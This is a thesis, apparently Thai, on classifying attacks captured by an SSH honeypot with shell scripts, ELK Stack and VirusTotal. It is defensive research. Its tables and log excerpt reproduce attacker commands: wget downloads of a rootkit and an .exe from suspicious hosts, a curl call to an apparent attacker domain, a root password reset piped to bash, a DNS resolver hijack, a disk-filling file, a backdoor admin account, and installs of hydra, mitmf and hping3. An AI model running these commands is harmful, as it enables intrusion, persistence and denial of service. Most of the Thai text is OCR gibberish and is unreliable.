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# # 6170963621 : MAJOR COMPUTER SCIENCE
KEYWORD: Proactive security operation, Log analysis, Network threat detection,
Honeypot, ELK Stack
Vitsunee Teeraratchakarn : EXPLORING NETWORK VULNERABILITIES FOR
CORPORATE  SECURITY  OPERATIONS. Advisor: Assoc. Prof. Yachai
Limpiyakorn, Ph.D.

This research presents a system to facilitate collecting, analyzing and
classifying cyber-attack patterns, focusing on Unix or Linux operating systems. The
suspect behaviors will be collected through Honeypot set up as a decoy to lure
cyber attackers. The data are stored in the form of logs. The systematic process will
be instructed through shell scripts in order to analyze the attack patterns. The
findings from the experiments reported similar attack commands which can be
categorized into 5 groups based on the attack goals consisting of: 1.Query
Information, 2.Attempt to install, 3.Transfer files, 4.Change configurations, 5.Taking
Over the Server, and two additional categories which are Error Case and New/ unseen
Case. Observing that each category has different levels of impact upon the system.
VirusTotal is considered a service which operates similar to a database that stores
various virus signatures, when it discovers a command that belongs to the risk groups,
the system will call VirusTotalAPI function to simulate a download and install the
file in a virtual environment (sandboxing) to analyze the attack pattern. In case a
particular file is infected, VirusTotal will return a report and notify the system
moderator in order to defend, fortify and enhance the organization’s security
operations. The experimental result showed that 86% of URLs or files that belong

to the command risk groups are threats.

Field of Study:  Computer Science Student's Signature .......cccoecvveeninnne.

Academic Year: 2019 Advisor's Signature ..o
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138A1INT5LAUA (Attack) wags MnTevinisia 9 Aneliinaiudenieisendin laud

(Attacker) isawsALNes (Hacker)
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2.1.4 DuoaLAaRAN

Busalaaufn (ELK Stack) [5] 10usanail (Acronym) %#3eA1gave4 Elasticsearch
Logstash uaz Kibana Sueaiaidugenduisloinugesaiwmuilae Elastic 3a8uoaLnaudin
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Data Data Indexing & Analysis &
Collection Aggregation storage visualization

& Processing
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W leaddnsvenedwinTy N15vgInssunedidnnselindlag deuseaiinisandunisiiie

ilviszuulasunnuinede warinnulasadulunisindeiuyana saudsmadaiuesnns

mMeuen fesdnsuivalulagniemuanuuasndudiugie 1wy Public Key Infrastructure

( PKI) 1 UuN55AUTe swonALISTTUUAIGY WU NSES19STEAU Lag n1sas1edonnamig

nungiveatuayulaTIEs U IUTLANIMNAYDIRIANT MY NINLATBYIBYDI03ANTE

AN5VLIYAIAITILTNITNAIUINIAIUANUUADANYTALNUIZ T UAMUADINITAIY LWNTIZU

nsel aeAnsiiAUABINITNINNIsTULSNIWIANIUAenieiley Wewnlonaniiiuduves

ANUFRRaNITIAnAEANAIN 1138 N15YNTLRULIETZUU M15199 1 kansitageUseLnnves

foanAy wagdiegsvasfeanawinula viinasAnshiinisdnadisulouteiifnewasnis

Waw U URTL AR (Best Practices) ueauau

M15799 1 fegeuseanvesdeanay [10]

Categories of threat

Examples

1. Acts of human error or failure

2. Compromises to intellectual property

3. Deliberate acts of espionage or trespass
4. Deliberate acts of information extortion
5. Deliberate acts of sabotage or vandalism

6. Deliberate acts of theft

7. Deliberate software attacks
8. Forces of nature
9

. Deviations in quality of service
from service providers

10. Technical hardware failures or errors
11. Technical software failures or errors

12. “Technological obsolescence

2.1.6 5dlnnea

Accidents, employee mistakes

Piracy, copyright infringement
Unauthorized access and/or data collection
Blackmail of information disclosure
Destruction of systems or information

lllegal confiscation of equipment or
information

Viruses, worms, macros, denial-of-service
Fire, flood, earthquake, lightning

Power and WAN service issues

Equipment failure
Bugs, code problems, unknown loopholes

Antiquated or outdated technologies

h¥alnnea (VirusTotal) [11] WWuUSNITa15715uesenIN keuatand (Sandbox)

° v al o v ° ° v a ¢ A s v Yl
quuqmiuﬂqiﬁiqﬂaﬂqﬂgLL'J@aE]NQW@@QﬁWMﬁUQLﬂﬁWSﬁLW@W?@%a'ﬁLLaa (URL) sosdsden
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ffawas wu 1ada Insdu G5y uwavdu 9 uleinegniold Inedndingiudeyaseulativuin
TugvosnisinliFannunaumi
Tudruveansldau fldaunsodulnanlidiumeninivuwusiweivie

SenlgaurIunente (AP) Falsalnneaazyinnisesiaasulnalaelylushnsuaknuwaus

a (3 s

Thfauazuinisuuindadyensuea/Neglawu (URL/Domain Blacklisting) 531031 70 51813

Y

ArunsynrusdendiiiaAuninndwaturdusawisvrs el
2.1.7 asdn

ALUn (CAPEC: Common Attack Pattern Enumeration and Classification) [12]
I 1w < ¥ (Y a 1 £ 4 o
Ao wasdaiuwasIuTteyavesdnuaesduuulunisiand anunegaigldnisiiu
AIUALLAZALAINNTTNTNANULUAIINIANE (Department of Homeland Security) Va4
Useimnaanigaiuing fsnnunlalinssivsadeyatasdnguiuunisiand saudsiinisesune
daurine 9 vesusargUuuunsland wu sukuulunisesnwuuildland iwunglunislaud
187 fegrgandeanislanfaiun awnsed 2 lnernlasiusudeyaidudsslewd

U d’j dl Y v v v = U a = yd‘ ¥ o ¥ 1 dﬂl

wiantiteliiinmun dnfinw Un3vanis udsinaulaneau Wawisaddeyawmaniily

[

AL BEIANDUNUINAIUIUAIUANLURBRAN Y ARSI Y

AN 2 APENNTI8AZLIEANISNAAILUA [12]

Topic Detail

CAPEC ID CAPEC-101

Name Server Side Include (SSI) Injection

Description An attacker can use Server Side Include (SSI) Injection to

send code to a web application that then gets executed
by the web server. Doing so enables the attacker to
achieve similar results to Cross Site Scripting, viz., arbitrary
code execution and information disclosure, albeit on a
more limited scale, since the SSI directives are nowhere

near as powerful as a full-fledeed scripting language.

Nonetheless, the attacker can conveniently gain access to
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Topic

Detail

sensitive files, such as password files, and execute shell

commands.
Likelihood Of Attack High
Typical Severity High
Domains of Attack Software

Mechanisms of Attack

Inject Unexpected Items

Skills Required

[Level: Medium]
The attacker needs to be aware of SSI technology,
determine the nature of injection and be able to craft

input that results in the SSI directives being executed.

Resources Required

None

Consequences Confidentiality: Execute
Integrity: Unauthorized
Availability: Commands
Mitigations Set the OPTIONS IncludesNOEXEC in the global

access.conf file or local .htaccess (Apache) file to deny SSI
execution in directories that do not need them

AWl user controllable input must be appropriately
sanitized before use in the application. This includes
omitting, or encoding, certain characters or strings that
have the potential of being interpreted as part of an SSI
directive

Server Side Includes must be enabled only if there is a
strong business reason to do so. Every additional
component enabled on the web server increases the

attack surface as well as administrative overhead

Example Instances

Consider a website hosted on a server that permits Server

Side Includes (SSI), such as Apache with the "Options

Includes" directive enabled.
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Topic Detail

Whenever an error occurs, the HTTP Headers along with
the entire request are logged, which can then be
displayed on a page that allows review of such errors. A
malicious user can inject SSI directives in the HTTP
Headers of a request designed to create an error.

When these logs are eventually reviewed, the server

parses the SSI directives and executes them.

Related Weaknesses CWE-ID: 97, 74, 20, 713

2.2 yuARefiientas
2.2.1 Network security enhancement through effective log analysis using ELK

Tt 2017 Al-Mahbashi kagane toULENaIIUATY [13] LR8I UNITHAUIAINY
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2.2.2 Geo-identification of web users through logs using ELK stack

Tul 2016 Prakash wagan latauas1udde [14] NEINUNITTZUMUNLINTG
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v A= A & =

Toyanmuauiasiedt lusnddeiifadnausvendwislowmugesaniveinduoalnauind
Usenauluae Elasticsearch Logstash Wag Kibana suntglunisnisfumayiiasizvidoya

9195ADUNVHDS

v
k% ' a 53

a v A
Nudelilaasuin dupalagala

9

nilugenduaslatnugesaniiussloviagiain
Wesanaiusadifuiindaiudeua 131931309189 1UIUNINNIIINTIATIZRLABENS
| a Qs.JI U o 1 v 1 14 v
Ay INGIANNTINMUATURULYRIN SHaRINaR U vt Ae daUsea Uy Ly (GUD) 1d
AN 3 LARINIIMLHUN (GEO Map) SEUsbmian1eniaansnuanadnuiugldauain
UsEineaeng 9 wazdin1suansseAuanuanAIuuLwNEn vnlinsuiednuingegawazenan
Y & acd s 1 o/ [ v a ¢ v = o [ ¥
Y9I AUWIVEIHIBT N Usemelatig vilianunseliasenduiindaiutayadsnas

A vi X
wn3evuladneduy

AT 5 uruiszysiwdgimansasnantuiindaiuteyadsasaiois [14]
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uni 3

LUIAALLAZITIVEY

ada v

Tuunilldnafsuifnuaisidy 1as9aani1s9auYedTeuu N1559UTWIULUIY

'
o

nslaud InguszasAvesddinisland wazn1sdugardenislaudiusviuunislasdandn

U
WinthunUseiiuanuides neisieazidennamalull

3.1 NMNSINLUIAARALIASIY

v
o

nAFeiilauawuwImmslunsiaNsUf RN UAUAIUUaanAB0IANT L3UIINNTT
PanwuUIEUUlnensasamaluladreuiiamesiaiiou (Virtual Machine) Ni1assmeuiiaimes

=1 v v ¢ ¢ A o o a ¢ a ¢ A
Gﬂumqiﬁaqﬂqiﬂisﬁ%awmLL?iLW@ﬁnaaqﬂquqQWUGUEJQV’]aNW'JLmai ﬂﬂﬂiuﬂam‘wmm’aﬂam@u
& ¢

a a wa a & 7 a \ a o ' a ¢ ¢
AARITEUUUHUANITEUNTY (Unix) / 8Yn® (Linux) MWRIUIDEUUNLIAAAIIALNAAND I

i)

(Google Cloud Platform) tngszuufinmunuutiunsiiusiusiudeyauazng Anssunisld

o [

NuNMElUTTUUTRIEYNIN YIKNTIWUN FATIEN LasFURUUNISLaNAing 9 Litetnaaws
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"y
a =

Innaduayuuleviglunisiauinsujofaumuanudasaielin gy

AUN3N (Attacker) vivouaAinas (Hacker) Ao fneneudnasuiingseuumeinguseasa

]

#1199 NsauneliinAuderie wu Liien1slasnssudeya nskalminaniils wieAdy

Y] ~ | aM M Yo v g v
Aean13du 9§ druyana tnenlilasusygislunmsilgnussuy
1AS98519N15%191U9958UU USENauAedluUsEnaumnan ko

guilnon@suiies (Honeypot Server) fio @iniesildlunissivrmdeyatuiindaiiy

PNNEANTIUASITIUYRIEUNINTIIINlaNAATaLasYIeT Aeludulinendsiiiesinig

6 = 4

as19aaansun (Shell Script) TULNTIUIU 5 LwadanIUs Falsazivadansuaaziinuinlu

nshussnasiueenluiiiormuaun1sinuianuanmelussuy

Inesnd@sniies (Report Server) fio W@intiesnldlunisiiusiusiudoyaiidwioniain

v o ac s o w @ ' ° Y 1% & 2 AN A
Fulinen@siies lnsmsideyadina1iundiuun daguuuudeya nndudwioluiiuiinug
Tunisdniiudeya (Storage) WipndayakIUNITIAFURUULAIIIATIZARAL UAAINANIY
N5 dunvimiveya (Data Visualization) 19 n31vl nieukugiuuuaeg Ndelaise

Y

inlateyaidadnundeuy
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3.2 ATNWSIUNISNIIUTZUU

!

A\
§

] Admin

— 1> |
P
~
Hacker Honeypot Server

q

Report Server

AN 6 AMNTWATVINUYBITLUY

NANA 6 ANUITODTUILATLUIUNITINUVBISEUU e nama ULl
é’/ f-:l' I3 o a a
TURDUN 1. NTAUTIVTINUALIHUNNGANTIUNTLAUR

< v a v v Y a A ac ¢ v
ﬂ'ﬁLﬂ‘Ui'J‘Ui’JiﬂJ@i,luaQ']ﬂ‘Wf]G]ﬂﬁiﬂﬂ'ﬁl“ﬂ\‘ﬂusﬂax‘]lﬂuﬂéﬂmL%WNWIQNWLﬁi@QL‘UiWL’J@ﬁ Tagla

v [ 3 [ [ v v £ L= Y < = o v PN
Fuiinenduganauislunsiniuteyalveglusuvestoyatuiindaiiu (Log) eidayad

LuAAsIent uagduunnguueIAdINsaNA I uYadaAsUANaS 1YY
Tumoud 2. Msthdwwazianmadeyatuiindaiu

o Y LY =1 v < d' d' = [ a s I3 o (9] ¥ d'
mawa;&auuwﬂamﬂulﬂwLﬂiaﬂswaimmimuas waENINITIRFULUUTDYA LUaguLlas

Joyalvegluguuuunilasaing i lUieseiuasuaning

] a Y A
YUADUN 3. ANTLAILFDU

4

o Y A ca' = a o [ P v
53‘U‘UQ$‘V|'V‘I']§LLQQLWQUIﬂWQJ}QLLai%UU IG’]EJLL‘UQL‘U‘N 2 N3tU AD 1.LLQQL(§]@ULN@WUE&U‘ﬂ§ﬂ

' '
A o

Wngszuudnse wag 2.udasewdonumdinislaudivid ielviguaszuuviinisnsivdey

[
1

wazinluRauszuuSnsanuUasnneniaglvngeu

Y
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3.3 52USIUAIFINTTIAUA

Suangiderinnisasassuuliguninanansadngszuulaegisitgay Iaemvualvidn

v Y] 1

dsvuumetellduazsanuezlsila antdurinisiiusiusudeyatuiindaiumdinis

e

a

Taudlildunniian uaziluduunnguuosids iiednsindulndngvielnddunuulunns
IuunUsetanveingun1slanfdumaradaasus viliseuunaamsvaLIaIL1IaTIkun
nauvesfdsnisland uazvinsudaiousnlud@luidguaszuu nglunssuundseian
nauvosgunuuMslandldtiunsnsmuInfidesnysumiuiunwesszuumalulad

AN3AUNA

AMENFINN153AYIHEaNYN1TTwUNUTEANAIFIN1TLANF F9IN1TAMUITEUUTN
L1 IS o = v % 1 ¥ ! Ao dy a
auysal lnednisivunder lduagsiariulunisidngssuunianuundu s1eazidunnis

AMRUALATILUULEAIAINIANUIN U

NSl nuningsruumeterlduassianiulag vilasiusinddnislaudla

9 Y

VIR 6,847 AdT FeanansautanguanuingUszasavesnislaufioanidu 5 nqu wazdn 2

oA’ o w a o o iAo 1 A
ﬂQNWLUUQWGQN@‘Wﬁ’]@ LLﬁBﬂ’]ﬁﬂIWNVIl@JLﬂEJWU AN

1. ndudsieAuniualsaume (Query Information)

Query Information unguuasidsiigunsnttlunsfuniuiiesungdoyasia 4 nely

]

SYUU MDY NAAIAILAAILUAITIN 3

M131991 3 FIRENNFUANFA N AU N SAUWA

AA9 A195UY

s Adauanadeyanelulaisnve’
o o a A o A Y]
pwd AdauanalasnneIviesumisnegtagiu
in AAINTIE VAN ULITINIIDT U8

pms
cd Aasldluniswieuneglasnnes
who Adsanstayanldumdingseuuvziy
We MATHUTIIUALaEUITIRN NG
gawk masldlusumdayatoniny
ps AMaIanINTEUIUNIITNOUlEIves




Ada A195UY
grep mdsdumussialulngfinsatouls
groups Adsuansdoyanauueslinusyuy
cat wanawatayaneglulndlusuwuutony
logname Fdsuansderfldauiidirgszuy
nl Fdsuanaavitussvinvestoyalulnd
top ANAIIALI NS UAULAAINITVINLUBINTZUIUNTT
free Adsuansdoyanslinumheaudy
locate mdddlunsaunmivdvielasnne’
find mdddlunsdumindvielasnned
more MdseudoyauazAumtoyalulwg
history A &qL“ﬂﬂ@ﬁ’]é"q‘ﬁ'Lﬂﬂiﬁi’fmumﬁgmm
egrep mdsrumussvialulndfinsadoulu
printf Adsuaninadeyauuminge
dir Adsuanstoyalaisnne’
head Fdsuansdoyadiuduvedlid
tail Fdsuanstoyaduyineveslig
whoami mdauansdegldnuildidgszuy
w Adsuansglinundrgszuuruihdaildon
iptables mdslunsdanisnseslefinesaiidnanldonu
netstat MduanianiuysiteuseveuaIeTeTiLn
exit MdtanaINsEUY
hostname Mdsuanideindeadildany

2. ngufdailefings (Attempt to install)

Attempt to install 1unguvefidsiie)

]

d{' A @ ! ) = A Ay v v U ' o v w d'
Lﬂi@\‘ill@\'ﬂﬂﬂﬁ’?’]@’?‘ﬂLUULﬂﬁ@ﬂN@VIlQJVLG‘IﬁUﬂ’]i’e]‘léi’g’](ﬂ fegemaInalandlunisen 4
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nynianldiionenguinisinnuasosile ¥4



A1597 4 fegengumdLioRnf

AA9 AND3UNY
yum sddlunsfings SUinsn Tusunsuvidegunsniing 4
apt-get mddlunisiinge SUinsa TUsunsuvisegunsnisng 9
rpm sddlunsfings SUinsn Tusunsuvidegunsniing 4
gzip FdsTiusndoyalnd
gunzip Fdsonidnnsiusatoyalud
split mdaumnnlrdnusiuauussie
tar Adsdnfunurulidtoya
mount FrdsinsslfaugUnsaifidous

3. nuAndaieleudnelug (Transfer Files)

' '
v

21

Transfer Files \unquuesddanduninldlunisdnaen wndeudie vieluanlidasund

LUV MDY AEIAILEAIIUAISI9NA 5

d‘ (Y 1 ! o o d‘ v (3
151N 5 Gl')@iﬂ\‘iﬂﬁjllﬂ’]ﬁﬂL‘WE]IE)‘L!EJ']EJI‘V\I@

Ads AD5UNY
o U w & A a
cp masrnaantnanselasnnes
mv mdsgnesundslndnInlannes
o U w 5 a as s
rcp mdsAnaonlnatuAIoEsHIes
wget mdsnniluanlngarniulad
curl Adslunsiu/dadayaandsiiesiiulusinnea
scp AdsRnaenlndteyauwuudnsianulaensie

4. nquAmdiiaasuntadlasawuy (Change Configuration)

Change Configuration ‘Junguuasrmdsngynnldlunisilasundasan uilalwdnse

Poyasng 9 Meluseuu degrmdadauanslunisned 6



A9 6 MpgunguAdualAsumlalasaLUY

GYGN A5 U"Y
rm Adsaulwdnielaisnne’
sed Adaasuasdeyadernuiiisuuuudutou
echo Adslunmsuanimauunting
iptables -A Adamaiunglulnirend
vi Adslunisareeudlulnddeya
vim AdslunsareFeudlulnddeya
nano fdslunisasreFeudlulnddeya
ed Adslunsunleteyalndviiond
chmod FdaAsuavslunmdnfelig
rrndlir Mdsaulaannes
mkdir Mdsadslasnne’
mkfile Fdsasaliid
tr Mdsrumuaziuasuulastoya
ifconfig AumuazdgulUateya
In Fdsairadarideuleafuseninalnd

5. NUAALNednATedTIIes (Taking Over the Server)

Taking Over the Server \unguvemdsiiy

' '
v a

]
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n3ntdlunisiasundas wilvsianiu vie

Poyanldiuludiumneg TiufuingansesaTaarssuy Megrmdiawandlunnsen 7

M1399 7 MegngumdLiiognnseadiniies

ANel AnadunY

usermod GRGNRI TN RHEL LRGSR

o @ a o o
passwd AduUdsusiaure s lfusEUY
sudo Aasnseyiluansvewldgean

o @ ¥ 1% oA v
su Adansingsyuusiesviater Loy
useradd Tvuvisewdundasgldau
userdel Adsaur lfueenaINTEUY
chfin Adsnvuateyaverlda
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' '
v aa

6. nauAdINANaIn (Error Case)

'
[

Error Case \Uunguuesddsnfianain n15iun v3en1saznarmdiin Aeg1amaeds
wanglunns1an 8

A1547 8 FegNgUAARANATA

Ada AN95UNY
la laifianuvung
wger laifiaaanung
nani laifianuvung
iptalbes Taifiaunung
gree laifimnunune
chmid laifianumune

A ! o o A 1 ] 1 & o o aAa o 1% [y o o
1NHITNN 8 WU ma\‘mlmummwma ﬁ’ﬂﬂmiyL“LJ'L!ﬂ']ﬁQ‘V]lIaﬂ‘lﬁm%ﬂa’]ﬂﬂ‘UU%‘]ﬂWﬂﬂ

YDIRYNIN 18U Ad la adnedudda s Wumduansdeyanielulaisnnes vieda nani

A v oo =

< o o al £ ) &Y U a ! ~ ¥
NA{IYNU Nano ‘U\‘iLUuﬂWﬁQWIﬁUﬂﬂiﬁi’Nﬂi@LLfﬂ?Jl‘l/\lﬁ‘?JE]ﬂJua NATAUUBTIUNUINUBDINTY

AU UNUAUDIAITN BN ENAN UV AL AAPNURANA AL UM TAUN A& LA
7. nauAnddlusiliineny (New Case)

New Case \Junquussmdsinifiszuulinenusnnou

3.4 dngussasAndenislaud

mdsnslauannuluusiaznguazgniuinsein1ingUseasavedds ievinnisdue

5

o o P

LY a o a L4 ! P oA [ ! o o

fumslauaanun lagdwniesigianemddly 5 nquusn Wesnnaun 6 1unguaids

Aananlidsnansznule 9 Aoszuu waznquil 7 WJunguedslminiaessiusiumdsiline
o v A v Yo o w 1 ° % oy oy

WU wagvihmakdnfeulundguassuulvthmddvdnnuinduundt 6 nqudiediu

' ' '
o v a

31NNTATIIM TNUTEAIAVIAEINITIANRA A5INUIE 24 Ada NTTnQUIzasAly

nstandlndfesiuingussasanislauinssyliluaun (CAPEC) Tumuwiduiilithidanis

lauandnegluningaunslaufanungdiuuinsee S18asdenfans1ei 9
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AN5199 9 S18ALLDUAAIAINISIAURDTUATE

nau Ardanslaud ngUszasd
1 | cat /var/tmp/.var03522123 | head -n 1 Seungloyaussviausnvedlid.var03522123
1 cat /var/tmp/.systemcached436621 L%ﬁﬂ@}%’ayjalﬂé.systemcache436621
1 | cat etc/passwd Bongoydgldnuimunnslussuujofmsi
1 |cd. greldlasnnesnountin
1 | ls-alR* Senglid Inisanesvdnuazeesausluinios
1 | free -m | grep Mem | awk '{print $2,$3, $4, $5, $6, Sengvayaniien1ud1 (Memory)
§7y
2 | apt-get install mitmf fnde MITMF (man in the middle attack
framework)
2 | apt-get install hydra -y ﬁﬂc?iy’ﬂﬂsLmimé’m%umsiamﬁsﬁﬁmmwwgwm%sn
2 | apt-get install hping3 Rassgenduasuszan TCP Flood
3 weget --no-check-certificate --content-disposition ﬂ’]’ﬁﬁﬁaﬂLLﬁﬂLﬂﬁJLﬁaVT’]miaﬂﬁzﬂ’gmﬁm (Rootkit)
https://github.com/En14c/LilyOfTheValley
3 | iptables -A OUTPUT -p icmp --icmp-type 0 - Wunglulwireadlineuiumuedeyauuy ICMP
$SERVER_IP -d 0/0 -m state --state (Internet Control Message Protocol)
ESTABLISHED,RELATED -j ACCEPT
3 | weet http//flashpointy.xyz/panel/testl.exe amnilvanlusunsuiifigausyasdesesyu lhia
Inneansranuindubiaussinniowas
3 curl https://api.the-black-hack jehaisleprintemps.net | 3anldauLeiile
3 | weet https//www.microsoft.com/en- anilvanlusunsudildlunisdon Joyefldann
us/download/details.aspx?id=18465
3 wget https://cloudypirate.com/cklacdsOkup7/500- antilnanlidsausinswaniu
worst-passwords.txt.bz2.html
3 | weet https//g00.gVRZqVFK anivanlusunsy Phishbait Maker ihilusunsudl
Talunsvindia@s (Phishing)
4 | vi/etc/sysctl.conf uwiludsneslianansafimuadunisdesieteya
(IP Packet Forwarding) sewineduinasia
il echo "root:JwdgyhDY!(prP'|chpasswd|bash Lﬂﬁauiﬁadmﬁuaaﬁzﬁ;ﬂ%ﬂmgw
4 | mkfile 100g /filel.txt a¥lvidunnn 100 Anglud Aigymam Fsenavilor
g13nRALAN
4 | echo "104.243.41.97" >/etc/resolv.conf Wasuwasaviilefimnioueadsnnesdu
4 | ifconfig ethO down Uansldaupiediggrsnuas
4 | ln -s/etc/nologin file_1 a¥slidnedaiililnszuuanuasasdelaglide
wilousdsiigldald ieliAnadnlefiauay
Tdulndnna
5 | suroot Whldnuansiguassuy
5 sudo useradd admin0 Lﬁmﬁ'ﬁy%&ﬁ%ﬁu%‘aﬁ admin0
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3.5 dugadinislasdfuguuuunislas@aun

Y

[

NTITeN 3.3 Uay 3.4 oI MUNNENVBIAFINITIANG UagnT1uingUIzasRveermds

luwsaznagy §3dglavinisduadrdenislanannuiunislaudauniiiingussasnveenis

q

U 1% o A

TaufnlnalAesiumeisyinde (Manual) Walvnsiuailanianaziin (Likelihood) kazan
NANTENU (Impact) V9UAaYAIET 91NTUUINIINITUTEUIUAMMLEES (Risk Estimation)

TAgE1UISOANNUAAN L NIATIALLANAULASILAEAINANTENU AIR15197 10 wagbauidananis

d&

AW yauanuluatUasndussuumalulagasaun AN sIvdeudnAsInay

Y

UWNANIUMAIANUESININANNTTA (1) LitelinT1uEeseAuANTULSIwRIAmAIN1slaus

Ay ° v = a A o o
‘V]Eu\l ﬂ?ﬂu’]m'ﬂfﬁ 6&1@3’1863LEJEmﬂ’lﬂf\]?,mmwﬂVlU’lmﬁ]U@LLamiumﬂNujﬂ Q)

]

d‘ U I o QIJ a v a d‘
M15199 10 NFIUAANEINISIALANUNITIANAALUN AT NITUSEUIUAIULEE S

Y

ngu Adsnnsloud CAPEC ID | Tannailvziin | wansenu
1 cat /var/tmp/.var03522123 | head -n 1 CAPEC-155 Medium Medium
1 cat /var/tmp/.systemcached36621 CAPEC-37 High Very High
1 cat etc/passwd CAPEC-55 Medium Medium
1 od .. CAPEC-139 High High
1 (s -alR * CAPEC-127 High Medium
1 free -m | grep Mem | awk '{print $2,$3, $4, $5, $6, CAPEC-54 High Low
STy
2 apt-get install mitmf CAPEC-94 High Very High
2 apt-get install hydra -y CAPEC-49 Medium High
2 apt-get install hping3 CAPEC-125 High Medium
3 weet --no-check-certificate --content-disposition CAPEC-552 Medium High

https://github.com/En14c/LilyOfTheValley

3 iptables -A OUTPUT -p icmp --icmp-type 0 -s CAPEC-285 Medium Low
$SERVER _IP -d 0/0 -m state --state
ESTABLISHED,RELATED -j ACCEPT

3 wget http://flashpointy.xyz/panel/testl.exe CAPEC-441 Medium High

3 curl https://api.the-black- CAPEC-36 Medium High

hack jehaisleprintemps.net

3 wget https://www.microsoft.com/en- CAPEC-2 High Medium
us/download/details.aspx?id=18465

3 wget https://cloudypirate.com/cklacdsOkup7/500- CAPEC-16 Medium High

worst-passwords.txt.bz2.html

3 wget https://go0.g/RZgVFK CAPEC-98 High Very High

4 vi /etc/sysctl.conf CAPEC-13 High Very High
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ngu Ardanslaud CAPEC ID | Tennafiazifin | nanszny
4 echo "root:JwdgyhDYlprP"|chpasswd|bash CAPEC-22 High High
il mkfile 100g /filel.txt CAPEC-537 Low High
4 echo "104.243.41.97" >/etc/resolv.conf CAPEC-275 High Very High
a4 ifconfig ethO down CAPEC-583 Low High
a4 n —s/etc/nologin file 1 CAPEC-132 Low High
5 su root CAPEC-70 Medium High
5 sudo useradd admin0O CAPEC-476 Low High
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Ui 4

ANSWAIUITSUU

Tuunilanani09n1598NkUUTEUU @ATNLINADULALLATDILBN T UNITHAIUT WAL

JuaUlUNISHAUNSEUU T9lis1eazdunninalull
4.1 N159BNLUUTZUY

iwuﬁﬁwmﬂﬁuﬂwﬂaué’w%y’umauﬁm%'uszi'wsl,umi%’mLﬁm'sm’m%a;ﬂaslugmwu
vyosdon (Log) suduiinen ilethdeyadinanundaguuunazduunnguueaddenislod
sy aadaesus antumnwuliduieastdunss svuuasimsddlidviedsdivadu
Tmguuuunistaudinulialnmes wazvhnislsizsinanudueairauin niaurinisuds

¥

LABUAAUNY N”LLaig‘U‘U falanslunIng 7

Y
e e— Qg
Retrieves|*“cowrie. log” ‘ Honeypot (cowrie) ‘

every hour
VirusTotal
‘ main_monitoring.sh ‘—b check_suspectfile sh ‘ API|Calls
Filter “cowrie.log™
—» 1n the [specific format
Z| VirusTotal
login log }~ command. log ‘ i

Check successful login

- Searches and
check login.sh Classify the Retrieval of
attack |groups Sandbax Reports

Filtering and Monitoring

Retrieves successful
login log #

| check cmdsh | Malware log

;
| \
|

‘ Alert Notification ‘ Report Server (ELK) ‘

AN 7 ANTINATOBNLUULATNAIUITEUU
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4.2 AATNLINADNLAZLATDIN BN LT TUNISHRILN

ANNLINADUWALLATEIN BN LT UNSHAILIUSENaULUMEBNSALIS wazaaNAwIs T9d

svasldunnssalul

4.2.1 STUUTISAIS

3
a v

Tuawddedlaeanuuuszuulnenisastemauinesiadiou (Virtual Machine)

91U 2 1ATEY UUNiaRaIRkNanesy Usenausie

w3neil 1 Suflnemdsiiies
- wen1sUszalana (CPU) 1 vCPU
- wheaud1 (Memory) 3.75 Anglud (RAM 3.75 GB)
- ginRanAug 20 Anglud (20 GB)

- szuuUURnIsaund (Linux)

A A a s acs s
LATBAN 2: INBIALYINLIDT

MUN15USEUIaNE (CPU) 1 vCPU

nUwANNT1 (Memory) 3.75 Anglud (RAM 3.75 GB)

g13nmanA1uq 20 Anglud (20 GB)

- euuUHURNTAYNS (Linux)
4.2.2 SEUUTINAWIS

d' a s = o a a o ¢ su 1 &
Lmaﬂﬂam\nLmaiLauauwiﬂ’ﬂumiwwmuﬂﬁmmwaﬂ/\lmLnimm@lﬂu

A A v ac s
LASBAN 1 : SUUNDALIINIDT

CENTOS-7 (64 bit)

- Honeypot (cowrie) 19.10.0
- Shell Script

- Filebeat 7.2.0

- VirusTotal

= = = s acs s
LASDIN 2 : INBIALYINLIDT
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- CENTOS-7 (64 bit)
- Elasticsearch 7.2.0
- Logstash 7.2.0

- Kibana 7.2.0

- Nginx 1.17.0

4.3 YUADUNITNAIUITZUU
4.3.1 ANSNNUAATLATILUUY

N3AINUAAILATILUY (Configuration) t3ua1nLUABUNDIALSNAY (Default Port)
INNBSATLALILYA (SSH: Secure Shell) 22 1Hunasn 2332 lagnuiaaunasnilasu
) [~ o v =§ Y Aacs & a 1 a 3; ) a :j v
asamvualduaveslsnlmneligsniesasdignlaud andwinisiensduinenasun

=J =§ a & a I3 [ v a Y & I3
MATWTSNIDS F9518aLDATUNANULIN U kaEANUANDSRYRIsuTnanlilunass 22

Ql' ¢ P o el'
LNUVNNDINVDIYLAYILYA @QWLLﬁ@\ﬂUﬂ’]WW 8

= o o = 3
A7 8 AdslunisuasumNglaUNe R

4.3.2 M3inAuLazIIVTINTaYS

A o a o Y 1 & Y 1 Yo & 1o & v a
L?,JE]‘LIEﬁﬂmﬁ]WEﬂEﬂNVﬂﬂﬂim’]Qﬁ%UU Vlﬂﬂ’]ﬁJ’ﬁﬂL‘smEﬂiﬁUUl@ﬁ’]LﬁﬂLLGSVL?,J?{’]LT'U JUU

Y
Y
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2019-11-27718:14:11.610372 [SSHService 'ssh-userauth® on HoneyPotSSHTransport,217,95.157.63.185]
2019-11-27718:14:11.611978 [-] "root' failed auth 'password’

2019-11-27T18:56:26.167819 [SSHService 'ssh-userauth® on HoneyPotSSHTransport,218,95.157.63.185] login attempt [root/password] succeeded
2019-11-27718:56:26.183796 [SSHService 'ssh-userauth® on HoneyPotSSHTransport,218,95.157.63.185] 'root’ authenticated with 'password’

2019-11-27T18:57:26.696579 [SSHService 'ssh-userauth® on HoneyPotSSHTransport,218,95.157.63.185] starting service "ssh-connection’

2019-11-27T18:58:26.283940 [SSHChannel session (9) on SSHService'ssh-connection'on HoneyPotSSHTransport,219,95.157.63.185] CMD: w

2019-11-27T18:58:26.283944 [SSHChannel session (9) on SSHService'ssh-connection'on HoneyPotSSHTransport,219,95.157.63.185] CMD: wget http://flashpointy.xyz/panel/testl.exe

login attempt [root/root] failed

i o 1 .
AN 9 AIBEN cowrie.log
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4.3.3 N1SAUUANISNIIUTZUU

meluduinendiniesldvinnisdaguuudeyatufindaiu wazimuagluuy
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(McAfee) [15] lsfinmsfimuanatiumssiiananaasnsiel 9 yn 1 92l

main_monitor.sh §uduaniudnaniildmununisvininuvesan3unan 4

ansun Ao getlog.sh, check login.sh, check cmd.sh wag check suspectfile.sh

. /home/cowrie/script/config.txt
#PLOGC=/home/cowrie/cowrie/var/log/cowrie
#PLOGS=/home/cowrie/logme
YHOUR="TZ="GMT+1" date +'%Y-%m-%dT%H""
NHOUR="TZ="GMT+1" date +'%Y-%m-%d_%H""

